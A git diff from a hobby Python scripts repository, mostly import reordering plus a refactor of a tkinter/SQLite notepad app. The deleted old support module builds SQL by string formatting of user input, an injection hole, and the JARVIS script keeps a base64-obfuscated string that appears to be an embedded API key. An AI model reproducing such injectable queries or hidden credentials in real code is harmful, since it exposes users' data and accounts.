diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py
index ded1c86bcd3..58816fb933a 100644
--- a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py
+++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py
@@ -10,25 +10,24 @@
# import modules
import datetime # datetime module supplies classes for manipulating dates and times
+import json
+
+# master
+# auto install for pyttsx3 and speechRecognition
+import os
import subprocess # subprocess module allows you to spawn new processes
# master
import pyjokes # for generating random jokes
import requests
-import json
-from PIL import ImageGrab
from gtts import gTTS
+from PIL import ImageGrab
+from playsound import * # for sound output
# for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition)
from pynput import keyboard
from pynput.keyboard import Key
from pynput.mouse import Controller
-from playsound import * # for sound output
-
-
-# master
-# auto install for pyttsx3 and speechRecognition
-import os
try:
import pyttsx3 # Check if already installed
@@ -43,8 +42,8 @@
import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc..
# importing the pyttsx3 library
-import webbrowser
import smtplib
+import webbrowser
# initialisation
engine = pyttsx3.init()
@@ -83,9 +82,10 @@ def sendEmail(to, content):
server.close()
-import openai
import base64
+import openai
+
# Will learn it.
stab = base64.b64decode(
b"c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx"
diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py
index bc4a2a3d232..dd4406a38fa 100644
--- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py
+++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py
@@ -1,4 +1,5 @@
from django.contrib import admin
+
from .models import Todo
# Register your models here.
diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py
index 11fda28ba07..3727e6d56c0 100644
--- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py
+++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py
@@ -1,4 +1,5 @@
from django import forms
+
from .models import Todo
diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py
index 71ce3e8d531..4858378d224 100644
--- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py
+++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py
@@ -1,7 +1,7 @@
# Generated by Django 4.2.5 on 2023-09-30 16:11
-from django.db import migrations, models
import django.utils.timezone
+from django.db import migrations, models
class Migration(migrations.Migration):
diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py
index f6453e063be..b2c70539a3e 100644
--- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py
+++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py
@@ -1,13 +1,13 @@
-from django.shortcuts import render, redirect
from django.contrib import messages
+from django.shortcuts import redirect, render
+
+from .forms import TodoForm
+from .models import Todo
# Create your views here.
# Import todo form and models
-from .forms import TodoForm
-from .models import Todo
-
def index(request):
item_list = Todo.objects.order_by("-date")
diff --git a/nmap_scan.py b/nmap_scan.py
index 72f4b078e96..ffcf55a8ce9 100644
--- a/nmap_scan.py
+++ b/nmap_scan.py
@@ -4,7 +4,6 @@
import nmap # Import the module
-
# Script Name : nmap_scan.py
# Author : Craig Richards
# Created : 24th May 2013
@@ -27,7 +26,7 @@ def main(): # Main Program
) # Display options/help if required
parser.add_option("-H", dest="tgtHost", type="string", help="specify host")
parser.add_option("-p", dest="tgtPort", type="string", help="port")
- (options, args) = parser.parse_args()
+ options, args = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(",")
diff --git a/nodepad/notepad.py b/nodepad/notepad.py
index 356316e3d9e..bff49c36204 100644
--- a/nodepad/notepad.py
+++ b/nodepad/notepad.py
@@ -1,64 +1,114 @@
-#! /usr/bin/env python
+#!/usr/bin/env python
#
# GUI module generated by PAGE version 4.10
# In conjunction with Tcl version 8.6
# Jan 30, 2018 02:49:06 PM
+#
+# Refactored for better maintainability, explicit imports,
+# and improved code style.
-try:
- from Tkinter import *
-except ImportError:
- from tkinter import *
-
-try:
- import ttk
+"""
+notepad.py – Main GUI for the Notepad application.
- py3 = 0
-except ImportError:
- import tkinter.ttk as ttk
+This module creates the graphical interface using tkinter and ttk.
+It provides tabs for adding, displaying, and managing notes.
+The backend logic is handled by notepad_support.py.
+"""
- py3 = 1
+import sys
+from tkinter import WORD, Button, Entry, Frame, Label, Text, Tk, Toplevel, ttk
import notepad_support
+# Global variables (used by the PAGE-generated structure)
+w = None # Toplevel window reference
+w_win = None # Alias for w (kept for compatibility)
+rt = None # Root window reference
+
def vp_start_gui():
- """Starting point when module is the main routine."""
- global val, w, root
+ """
+ Start the GUI application as the main routine.
+
+ This is the entry point when the module is run directly.
+ """
+ global w, root
root = Tk()
root.resizable(False, False)
- top = Notepads_managment(root)
+ top = NotepadsManagement(root)
notepad_support.init(root, top)
root.mainloop()
-w = None
+def create_Notepads_managment(root, *args, **kwargs):
+ """
+ Create a new NotepadsManagement window as a Toplevel.
+
+ This is used when the module is imported by another program.
+ Args:
+ root: The parent Tkinter root window.
+ *args, **kwargs: Additional arguments passed to the support init.
-def create_Notepads_managment(root, *args, **kwargs):
- """Starting point when module is imported by another program."""
+ Returns:
+ tuple: (Toplevel window, NotepadsManagement instance)
+ """
global w, w_win, rt
rt = root
w = Toplevel(root)
- top = Notepads_managment(w)
+ top = NotepadsManagement(w)
notepad_support.init(w, top, *args, **kwargs)
return (w, top)
def destroy_Notepads_managment():
+ """Destroy the main Toplevel window and release the reference."""
global w
- w.destroy()
- w = None
-
-
-class Notepads_managment:
- def __init__(self, top=None):
- """This class configures and populates the toplevel window.
- top is the toplevel containing window."""
- _bgcolor = "#d9d9d9" # X11 color: 'gray85'
- _fgcolor = "#000000" # X11 color: 'black'
- _compcolor = "#d9d9d9" # X11 color: 'gray85'
- _ana1color = "#d9d9d9" # X11 color: 'gray85'
- _ana2color = "#d9d9d9" # X11 color: 'gray85'
+ if w:
+ w.destroy()
+ w = None
+
+
+class NotepadsManagement:
+ """
+ Main GUI class for the Notepads management application.
+
+ This class sets up the notebook (tabbed interface) with three tabs:
+ - Add: Input fields for title and content, with Add/Clear buttons.
+ - Display: Search and navigation through existing notes.
+ - Create: Button to initialize the database table.
+
+ Attributes:
+ style (ttk.Style): The ttk style object for theming.
+ TNotebook1 (ttk.Notebook): The main notebook widget.
+ inputNotice, inputTitle, outputNotice, inputSearchTitle: Various
+ entry and text widgets.
+ Button2, Button3, Button4, Button5, Button7, Button8, Button6, Button1:
+ Button widgets with respective callbacks.
+ Label1, Label2, Label3, Label4: Label widgets for descriptions.
+ errorOutput (Label): Label for displaying status/error messages.
+ """
+
+ def __init__(self, top):
+ """
+ Initialize the GUI layout.
+
+ Args:
+ top: The parent Tkinter window (either Tk or Toplevel).
+ """
+ self.top = top
+ self._setup_style()
+ self._create_widgets()
+ self._place_widgets()
+ self._bind_events()
+
+ def _setup_style(self):
+ """Configure the ttk style for the application."""
+ _bgcolor = "#d9d9d9" # gray85
+ _fgcolor = "#000000"
+ _compcolor = "#d9d9d9"
+ _ana2color = "#d9d9d9"
+
self.style = ttk.Style()
if sys.platform == "win32":
self.style.theme_use("winnative")
@@ -69,145 +119,154 @@ def __init__(self, top=None):
".", background=[("selected", _compcolor), ("active", _ana2color)]
)
- top.geometry("600x450")
- top.title("Notepads managment")
- top.configure(highlightcolor="black")
-
+ # Notebook tabs
self.style.configure("TNotebook.Tab", background=_bgcolor)
self.style.configure("TNotebook.Tab", foreground=_fgcolor)
self.style.map(
"TNotebook.Tab",
background=[("selected", _compcolor), ("active", _ana2color)],
)
- self.TNotebook1 = ttk.Notebook(top)
- self.TNotebook1.place(relx=0.02, rely=0.02, relheight=0.85, relwidth=0.97)
- self.TNotebook1.configure(width=582)
- self.TNotebook1.configure(takefocus="")
- self.TNotebook1_t0 = Frame(self.TNotebook1)
- self.TNotebook1.add(self.TNotebook1_t0, padding=3)
- self.TNotebook1.tab(
- 0,
- text="Add",
- compound="none",
- underline="-1",
+
+ def _create_widgets(self):
+ """Create all GUI widgets (without placing them yet)."""
+ # Main window configuration
+ self.top.geometry("600x450")
+ self.top.title("Notepads management")
+ self.top.configure(highlightcolor="black")
+
+ # Notebook
+ self.TNotebook1 = ttk.Notebook(self.top)
+ self.TNotebook1.configure(width=582, takefocus="")
+
+ # Tab 0: Add
+ self.tab0 = Frame(self.TNotebook1)
+ self.TNotebook1.add(self.tab0, padding=3, text="Add")
+
+ # Tab 1: Display
+ self.tab1 = Frame(self.TNotebook1)
+ self.TNotebook1.add(self.tab1, padding=3, text="Display")
+
+ # Tab 2: Create
+ self.tab2 = Frame(self.TNotebook1)
+ self.TNotebook1.add(self.tab2, padding=3, text="Create")
+
+ # ---- Tab0 widgets ----
+ self.inputNotice = Text(
+ self.tab0,
+ background="white",
+ font="TkTextFont",
+ selectbackground="#c4c4c4",
+ width=396,
+ wrap=WORD,
)
- self.TNotebook1_t1 = Frame(self.TNotebook1)
- self.TNotebook1.add(self.TNotebook1_t1, padding=3)
- self.TNotebook1.tab(
- 1,
- text="Display",
- compound="none",
- underline="-1",
+
+ self.inputTitle = Entry(
+ self.tab0,
+ background="white",
+ font="TkFixedFont",
+ selectbackground="#c4c4c4",
)
- self.TNotebook1_t2 = Frame(self.TNotebook1)
- self.TNotebook1.add(self.TNotebook1_t2, padding=3)
- self.TNotebook1.tab(
- 2,
- text="Create",
- compound="none",
- underline="-1",
+
+ self.Label1 = Label(self.tab0, text="Title", activebackground="#f9f9f9")
+
+ self.Label2 = Label(self.tab0, text="Notice:", activebackground="#f9f9f9")
+
+ self.Button2 = Button(self.tab0, text="Add", activebackground="#d9d9d9")
+ self.Button3 = Button(self.tab0, text="Clear", activebackground="#d9d9d9")
+
+ # ---- Tab1 widgets ----
+ self.outputNotice = Text(
+ self.tab1,
+ background="white",
+ font="TkTextFont",
+ selectbackground="#c4c4c4",
+ width=346,
+ wrap=WORD,
)
- self.inputNotice = Text(self.TNotebook1_t0)
- self.inputNotice.place(relx=0.02, rely=0.28, relheight=0.64, relwidth=0.68)
- self.inputNotice.configure(background="white")
- self.inputNotice.configure(font="TkTextFont")
- self.inputNotice.configure(selectbackground="#c4c4c4")
- self.inputNotice.configure(width=396)
- self.inputNotice.configure(wrap=WORD)
+ self.inputSearchTitle = Entry(
+ self.tab1,
+ background="white",
+ font="TkFixedFont",
+ selectbackground="#c4c4c4",
+ )
- self.inputTitle = Entry(self.TNotebook1_t0)
- self.inputTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.6)
- self.inputTitle.configure(background="white")
- self.inputTitle.configure(font="TkFixedFont")
- self.inputTitle.configure(selectbackground="#c4c4c4")
+ self.Label3 = Label(self.tab1, text="Title", activebackground="#f9f9f9")
- self.Label1 = Label(self.TNotebook1_t0)
- self.Label1.place(relx=0.02, rely=0.08, height=18, width=29)
- self.Label1.configure(activebackground="#f9f9f9")
- self.Label1.configure(text="""Title""")
+ self.Button4 = Button(self.tab1, text="Next", activebackground="#d9d9d9")
+ self.Button5 = Button(self.tab1, text="Back", activebackground="#d9d9d9")
+ self.Button7 = Button(self.tab1, text="Search", activebackground="#d9d9d9")
+ self.Button8 = Button(self.tab1, text="Delete", activebackground="#d9d9d9")
- self.Label2 = Label(self.TNotebook1_t0)
- self.Label2.place(relx=0.02, rely=0.22, height=18, width=46)
- self.Label2.configure(activebackground="#f9f9f9")
- self.Label2.configure(text="""Notice:""")
+ # ---- Tab2 widgets ----
+ self.Label4 = Label(
+ self.tab2,
+ text="For creating a new notepads managment.",
+ activebackground="#f9f9f9",
+ )
- self.Button2 = Button(self.TNotebook1_t0)
- self.Button2.place(relx=0.74, rely=0.28, height=26, width=50)
- self.Button2.configure(activebackground="#d9d9d9")
- self.Button2.configure(text="""Add""")
- self.Button2.bind("", lambda e: notepad_support.add_button(e))
+ self.Button6 = Button(self.tab2, text="Create", activebackground="#d9d9d9")
+
+ # ---- Main window widgets (outside notebook) ----
+ self.Button1 = Button(self.top, text="Exit", activebackground="#d9d9d9")
+ self.errorOutput = Label(self.top, activebackground="#f9f9f9")
+
+ def _place_widgets(self):
+ """Place all widgets using place() or grid() (currently using place())."""
+ self.TNotebook1.place(relx=0.02, rely=0.02, relheight=0.85, relwidth=0.97)
- self.Button3 = Button(self.TNotebook1_t0)
+ # ---- Tab0 placements ----
+ self.inputNotice.place(relx=0.02, rely=0.28, relheight=0.64, relwidth=0.68)
+ self.inputTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.6)
+ self.Label1.place(relx=0.02, rely=0.08, height=18, width=29)
+ self.Label2.place(relx=0.02, rely=0.22, height=18, width=46)
+ self.Button2.place(relx=0.74, rely=0.28, height=26, width=50)
self.Button3.place(relx=0.74, rely=0.39, height=26, width=56)
- self.Button3.configure(activebackground="#d9d9d9")
- self.Button3.configure(text="""Clear""")
- self.Button3.bind("", lambda e: notepad_support.clear_button(e))
- self.outputNotice = Text(self.TNotebook1_t1)
+ # ---- Tab1 placements ----
self.outputNotice.place(relx=0.02, rely=0.19, relheight=0.76, relwidth=0.6)
- self.outputNotice.configure(background="white")
- self.outputNotice.configure(font="TkTextFont")
- self.outputNotice.configure(selectbackground="#c4c4c4")
- self.outputNotice.configure(width=346)
- self.outputNotice.configure(wrap=WORD)
-
- self.inputSearchTitle = Entry(self.TNotebook1_t1)
self.inputSearchTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.51)
- self.inputSearchTitle.configure(background="white")
- self.inputSearchTitle.configure(font="TkFixedFont")
- self.inputSearchTitle.configure(selectbackground="#c4c4c4")
-
- self.Label3 = Label(self.TNotebook1_t1)
self.Label3.place(relx=0.02, rely=0.08, height=18, width=29)
- self.Label3.configure(activebackground="#f9f9f9")
- self.Label3.configure(text="""Title""")
-
- self.Button4 = Button(self.TNotebook1_t1)
self.Button4.place(relx=0.69, rely=0.33, height=26, width=54)
- self.Button4.configure(activebackground="#d9d9d9")
- self.Button4.configure(text="""Next""")
- self.Button4.bind("", lambda e: notepad_support.next_button(e))
-
- self.Button5 = Button(self.TNotebook1_t1)
self.Button5.place(relx=0.69, rely=0.44, height=26, width=55)
- self.Button5.configure(activebackground="#d9d9d9")
- self.Button5.configure(text="""Back""")
- self.Button5.bind("", lambda e: notepad_support.back_button(e))
-
- self.Button7 = Button(self.TNotebook1_t1)
self.Button7.place(relx=0.69, rely=0.22, height=26, width=68)
- self.Button7.configure(activebackground="#d9d9d9")
- self.Button7.configure(text="""Search""")
- self.Button7.bind("", lambda e: notepad_support.search_button(e))
-
- self.Button8 = Button(self.TNotebook1_t1)
self.Button8.place(relx=0.69, rely=0.56, height=26, width=64)
- self.Button8.configure(activebackground="#d9d9d9")
- self.Button8.configure(text="""Delete""")
- self.Button8.bind("", lambda e: notepad_support.delete_button(e))
- self.Label4 = Label(self.TNotebook1_t2)
+ # ---- Tab2 placements ----
self.Label4.place(relx=0.09, rely=0.14, height=18, width=259)
- self.Label4.configure(activebackground="#f9f9f9")
- self.Label4.configure(text="""For creating a new notepads managment.""")
-
- self.Button6 = Button(self.TNotebook1_t2)
self.Button6.place(relx=0.22, rely=0.25, height=26, width=69)
- self.Button6.configure(activebackground="#d9d9d9")
- self.Button6.configure(text="""Create""")
- self.Button6.bind("", lambda e: notepad_support.create_button(e))
- self.Button1 = Button(top)
+ # ---- Main window ----
self.Button1.place(relx=0.4, rely=0.91, height=26, width=117)
- self.Button1.configure(activebackground="#d9d9d9")
- self.Button1.configure(text="""Exit""")
- self.Button1.bind("", lambda e: notepad_support.exit_button(e))
-
- self.errorOutput = Label(top)
self.errorOutput.place(relx=0.03, rely=0.91, height=18, width=206)
- self.errorOutput.configure(activebackground="#f9f9f9")
-
+ def _bind_events(self):
+ """Bind buttons to their callback functions from notepad_support."""
+ # Instead of bind, use command (more standard)
+ self.Button2.configure(command=lambda: notepad_support.add_button(None))
+ self.Button3.configure(command=lambda: notepad_support.clear_button(None))
+ self.Button4.configure(command=lambda: notepad_support.next_button(None))
+ self.Button5.configure(command=lambda: notepad_support.back_button(None))
+ self.Button7.configure(command=lambda: notepad_support.search_button(None))
+ self.Button8.configure(command=lambda: notepad_support.delete_button(None))
+ self.Button6.configure(command=lambda: notepad_support.create_button(None))
+ self.Button1.configure(command=lambda: notepad_support.exit_button(None))
+
+ # Keep the old naming convention for backward compatibility if needed,
+ # but we can also define properties to mimic the original names.
+ @property
+ def TNotebook1_t0(self):
+ return self.tab0
+
+ @property
+ def TNotebook1_t1(self):
+ return self.tab1
+
+ @property
+ def TNotebook1_t2(self):
+ return self.tab2
+
+
+# If run as main, start the GUI
if __name__ == "__main__":
vp_start_gui()
diff --git a/nodepad/notepad_support.py b/nodepad/notepad_support.py
new file mode 100644
index 00000000000..5d514d6327c
--- /dev/null
+++ b/nodepad/notepad_support.py
@@ -0,0 +1,370 @@
+#!/usr/bin/env python
+#
+# Support module generated by PAGE version 4.10
+# In conjunction with Tcl version 8.6
+# Jan 29, 2018 03:25:00 PM
+#
+# Refactored for better performance, security, and maintainability.
+# Full documentation (Google style) added for all public functions.
+
+"""
+notepad_support.py – Backend support for the Notepad GUI application.
+
+This module handles database operations (SQLite) and provides callback
+functions for the notepad GUI (created by PAGE). It manages notes storage,
+search, navigation, and deletion.
+"""
+
+import sqlite3
+import sys
+from tkinter import END # explicit imports instead of *
+
+# ----------------------------------------------------------------------
+# Database configuration
+# ----------------------------------------------------------------------
+DB_NAME = "data.db"
+
+
+def get_db_connection():
+ """
+ Return a new SQLite connection to the notes database.
+
+ The connection uses `row_factory = sqlite3.Row` for convenient
+ dictionary-like access to rows.
+
+ Returns:
+ sqlite3.Connection: A connection object to `data.db`.
+ """
+ conn = sqlite3.connect(DB_NAME)
+ conn.row_factory = sqlite3.Row
+ return conn
+
+
+# Global connection (kept for backward compatibility)
+connection = sqlite3.connect(DB_NAME)
+cursor = connection.cursor()
+
+
+class _NotepadState:
+ """
+ Encapsulates all mutable global state for the notepad support module.
+
+ Attributes:
+ w: The main GUI widget (from PAGE).
+ top_level: The top-level Tkinter window.
+ root: Alias for top_level.
+ search (bool): Flag indicating whether a search is active.
+ results (list): List of rows (tuples) from the last search.
+ index (int): Current position in the search results.
+ """
+
+ __slots__ = ("w", "top_level", "root", "search", "results", "index")
+
+ def __init__(self):
+ self.w = None
+ self.top_level = None
+ self.root = None
+ self.search = False
+ self.results = []
+ self.index = 0
+
+
+_state = _NotepadState()
+
+
+# ----------------------------------------------------------------------
+# Helper functions (internal)
+# ----------------------------------------------------------------------
+def _update_output_notice(text):
+ """
+ Replace the content of the output notice widget with the given text.
+
+ Args:
+ text (str): The text to display in the output notice area.
+ """
+ if _state.w and hasattr(_state.w, "outputNotice"):
+ _state.w.outputNotice.delete(1.0, END)
+ _state.w.outputNotice.insert(1.0, text)
+
+
+def _set_error_message(msg):
+ """
+ Set the error message label in the GUI.
+
+ Args:
+ msg (str): The error or status message to display.
+ """
+ if _state.w and hasattr(_state.w, "errorOutput"):
+ _state.w.errorOutput.configure(text=msg)
+
+
+# ----------------------------------------------------------------------
+# Public callback functions (used by the PAGE-generated GUI)
+# ----------------------------------------------------------------------
+
+
+def delete_button(p1):
+ """
+ Delete the currently selected note from the database.
+
+ The note is identified by the global index into the last search results.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Removes the note from the database.
+ - Updates the error message label.
+ - Commits the change to the database.
+ """
+ global cursor, connection
+ try:
+ if 0 <= _state.index < len(_state.results):
+ note_id = _state.results[_state.index][0]
+ cursor.execute("DELETE FROM notes WHERE id = ?", (note_id,))
+ connection.commit()
+ _set_error_message("Note deleted.")
+ else:
+ _set_error_message("No note selected.")
+ except sqlite3.Error as e:
+ _set_error_message(f"Database error: {e}")
+
+
+def create_button(p1):
+ """
+ Create the `notes` table if it does not already exist.
+
+ This function ensures the database schema is ready. It is safe to call
+ multiple times.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Creates the table if missing.
+ - Updates the status/error label.
+ """
+ global cursor, connection
+ try:
+ cursor.execute("""
+ CREATE TABLE IF NOT EXISTS notes (
+ id INTEGER PRIMARY KEY,
+ title TEXT,
+ note TEXT
+ )
+ """)
+ connection.commit()
+ _set_error_message("Table ready.")
+ except sqlite3.Error as e:
+ _set_error_message(f"Error creating table: {e}")
+
+
+def add_button(p1):
+ """
+ Insert a new note into the database.
+
+ Reads the title and note from the GUI input fields. Both fields must be
+ non‑empty. After insertion, the input fields are cleared.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Adds a record to the database.
+ - Clears the input fields.
+ - Updates the status/error label.
+ """
+ global cursor, connection
+ if not _state.w:
+ return
+ title = _state.w.inputTitle.get().strip()
+ note = _state.w.inputNotice.get(1.0, END).strip()
+ if title and note:
+ try:
+ cursor.execute(
+ "INSERT INTO notes (title, note) VALUES (?, ?)", (title, note)
+ )
+ connection.commit()
+ _set_error_message("Note added.")
+ # Clear fields
+ _state.w.inputTitle.delete(0, END)
+ _state.w.inputNotice.delete(1.0, END)
+ except sqlite3.Error as e:
+ _set_error_message(f"Insert failed: {e}")
+ else:
+ _set_error_message("Please fill in both title and note.")
+
+
+def back_button(p1):
+ """
+ Navigate to the previous search result in the output notice.
+
+ Decrements the global index and updates the displayed note content.
+ If the index goes out of bounds, it is clamped and an error message is shown.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Updates the output notice content.
+ - Updates the error label.
+ """
+ _state.index -= 1
+ if 0 <= _state.index < len(_state.results):
+ _update_output_notice(_state.results[_state.index][2])
+ _set_error_message("")
+ else:
+ _set_error_message("No previous result.")
+ _state.index = max(0, min(_state.index, len(_state.results) - 1))
+
+
+def clear_button(p1):
+ """
+ Clear the input notice (text area) field.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Empties the input notice widget.
+ - Clears any error message.
+ """
+ if _state.w and hasattr(_state.w, "inputNotice"):
+ _state.w.inputNotice.delete(1.0, END)
+ _set_error_message("")
+
+
+def exit_button(p1):
+ """
+ Terminate the application immediately.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Exits the Python interpreter.
+ """
+ sys.exit(0)
+
+
+def search_button(p1):
+ """
+ Search for notes whose title contains the given search term.
+
+ The search is case‑insensitive (SQLite `LIKE` is case‑insensitive
+ by default for ASCII). The first matching note is displayed in the
+ output notice. Results are stored in the global state for navigation.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Updates the search results list.
+ - Displays the first result (or a message if none found).
+ - Updates the status/error label.
+ """
+ global cursor
+ if not _state.w:
+ return
+ search_term = _state.w.inputSearchTitle.get().strip()
+ if not search_term:
+ _set_error_message("Please enter a search term.")
+ return
+ try:
+ cursor.execute("SELECT * FROM notes WHERE title LIKE ?", (f"%{search_term}%",))
+ _state.results = cursor.fetchall()
+ _set_error_message(f"{len(_state.results)} results found.")
+ _state.index = 0
+ if _state.results:
+ _update_output_notice(_state.results[0][2])
+ else:
+ _update_output_notice("No matching notes.")
+ except sqlite3.Error as e:
+ _set_error_message(f"Search failed: {e}")
+
+
+def next_button(p1):
+ """
+ Navigate to the next search result in the output notice.
+
+ Increments the global index and displays the corresponding note.
+ If the search field is empty, an error is shown. If the index goes
+ beyond the last result, it is clamped.
+
+ Args:
+ p1: Unused argument (required by the callback signature).
+
+ Side effects:
+ - Updates the output notice content.
+ - Updates the status/error label.
+ """
+ if not _state.w:
+ return
+ search_term = _state.w.inputSearchTitle.get().strip()
+ if not search_term:
+ _set_error_message("Please fill the search field.")
+ return
+ _state.index += 1
+ if 0 <= _state.index < len(_state.results):
+ _update_output_notice(_state.results[_state.index][2])
+ _set_error_message("")
+ else:
+ _set_error_message("No more results.")
+ _state.index = len(_state.results) - 1
+
+
+# ----------------------------------------------------------------------
+# Initialization and cleanup (required by PAGE)
+# ----------------------------------------------------------------------
+
+
+def init(top, gui, *args, **kwargs):
+ """
+ Initialize the module with references to the top-level window and GUI object.
+
+ This function is called by the PAGE‑generated code to pass the main window
+ and the GUI widget (which contains the various input/output elements).
+
+ Args:
+ top: The top‑level Tkinter window.
+ gui: The main GUI widget (from PAGE) that contains input/output fields.
+ *args, **kwargs: Additional arguments (ignored).
+
+ Side effects:
+ - Stores references globally for use by other callback functions.
+ - Also sets legacy global variables `w`, `top_level`, `root` for
+ backward compatibility.
+ """
+ global w, top_level, root
+ _state.w = gui
+ _state.top_level = top
+ _state.root = top
+ # Legacy global variables (for old code that may reference them)
+ w = gui
+ top_level = top
+ root = top
+
+
+def destroy_window():
+ """
+ Close the top‑level window and release resources.
+
+ This function is called when the application is closed.
+
+ Side effects:
+ - Destroys the top‑level Tkinter window.
+ - Sets the internal reference to None.
+ """
+ if _state.top_level:
+ _state.top_level.destroy()
+ _state.top_level = None
+
+
+# ----------------------------------------------------------------------
+# If this module is executed directly, show a message.
+# ----------------------------------------------------------------------
+
+if __name__ == "__main__":
+ import notepad
+
+ notepad.vp_start_gui()
diff --git a/notepad/notepad_support.py b/notepad/notepad_support.py
deleted file mode 100644
index 4f9ea1321b9..00000000000
--- a/notepad/notepad_support.py
+++ /dev/null
@@ -1,163 +0,0 @@
-#! /usr/bin/env python
-#
-# Support module generated by PAGE version 4.10
-# In conjunction with Tcl version 8.6
-# Jan 29, 2018 03:25:00 PM
-
-
-import sqlite3
-import tkinter as tk
-try:
- from Tkinter import *
-except ImportError:
- from tkinter import *
-
-try:
- import ttk
-
- py3 = 0
-except ImportError:
- py3 = 1
-
-# connect with database 'data.db'
-connection = sqlite3.connect("data.db")
-
-# creates a cursor (pointer) to the data base
-cursor = connection.cursor()
-
-search = False
-
-results = []
-
-index = 0
-
-
-def delete_button(p1):
- global index
- global results
- global cursor
-
- # fetch id of the current note
- id = results[index][0]
-
- sql_command = """ DELETE FROM notes WHERE id = {0}; """
- sql_command = sql_command.format(id)
-
- cursor.execute(sql_command)
-
- connection.commit()
-
-
-def create_button(p1):
- """
- for creating a new database
- """
- global cursor
-
- sql_command = """
- CREATE TABLE notes (
- id INTEGER PRIMARY KEY,
- title TEXT,
- note TEXT);"""
-
- try:
- cursor.execute(sql_command)
- w.errorOutput.configure(text="")
- except:
- w.errorOutput.configure(text="The database already exists")
-
-
-def add_button(p1):
- # for manipulating the data base
- global cursor
- global connection
- if len(w.inputTitle.get()) > 0 and len(w.inputNotice.get(1.0, END)) > 0:
- w.errorOutput.configure(text="")
- title = w.inputTitle.get()
- note = w.inputNotice.get(1.0, END)
- sql_command = """INSERT INTO notes (title,note) VALUES ("{0}","{1}"); """
- sql_command = sql_command.format(title, note)
- cursor.execute(sql_command)
- connection.commit()
- else:
- w.errorOutput.configure(text="Please fill the fields. ")
-
-
-def back_button(p1):
- global search
- global results
- global index
-
- w.errorOutput.configure(text="")
- index -= 1
- if index >= 0 and index < len(results):
- w.outputNotice.delete(1.0, END)
- w.outputNotice.insert(1.0, results[index][2])
-
-
-def clear_button(p1):
- """
- This function is for the clear button.
- This will clear the notice-input field
- """
- w.inputNotice.delete(1.0, END)
-
-
-def exit_button(p1):
- """
- function for the exit button.
- this will exit the application.
- """
- sys.exit(0)
-
-
-def search_button(p1):
- global cursor
- global results
- global index
- w.errorOutput.configure(text="")
- sql_command = """ SELECT * FROM notes WHERE title LIKE "%{0}%";"""
- sql_command = sql_command.format(w.inputSearchTitle.get())
- try:
- cursor.execute(sql_command)
- results = cursor.fetchall()
- w.errorOutput.configure(text=str(len(results)) + " results")
- index = 0
- if index >= 0 and index < len(results):
- w.outputNotice.delete(1.0, END)
- w.outputNotice.insert(1.0, results[index][2])
- except:
- w.errorOutput.configure(text="Please create at first a database.")
-
-
-def next_button(p1):
- global results
- global index
- index += 1
- if len(w.inputSearchTitle.get()) > 0:
- if index >= 0 and index < len(results):
- w.outputNotice.delete(1.0, END)
- w.outputNotice.insert(1.0, results[index][2])
-
- else:
- w.errorOutput.configure(text="Please fill the search field. ")
-
-
-def init(top, gui, *args, **kwargs):
- global w, top_level, root
- w = gui
- top_level = top
- root = top
-
-
-def destroy_window():
- # Function which closes the window.
- global top_level
- top_level.destroy()
- top_level = None
-
-
-if __name__ == "__main__":
- import notepad
-
- notepad.vp_start_gui()
diff --git a/other_pepole/get_ip_gui b/other_pepole/get_ip_gui
index 8043831c3bd..0803046fc74 100755
--- a/other_pepole/get_ip_gui
+++ b/other_pepole/get_ip_gui
@@ -2,9 +2,9 @@
# -*- coding: utf-8 -*-
import socket
-from tkinter import Tk, Label, Button, Frame
-from urllib.request import urlopen
+from tkinter import Button, Frame, Label, Tk
from urllib.error import URLError
+from urllib.request import urlopen
class IPApp:
diff --git a/password guessing.py b/password guessing.py
index 774db7f4e8c..f17e2117bd2 100644
--- a/password guessing.py
+++ b/password guessing.py
@@ -57,6 +57,7 @@ def guess_password_simulation(password: str) -> str:
if __name__ == "__main__":
import doctest
+
import pyautogui
doctest.testmod()
diff --git a/passwordGen.py b/passwordGen.py
index 56ab3b462a1..9c0aadc2597 100644
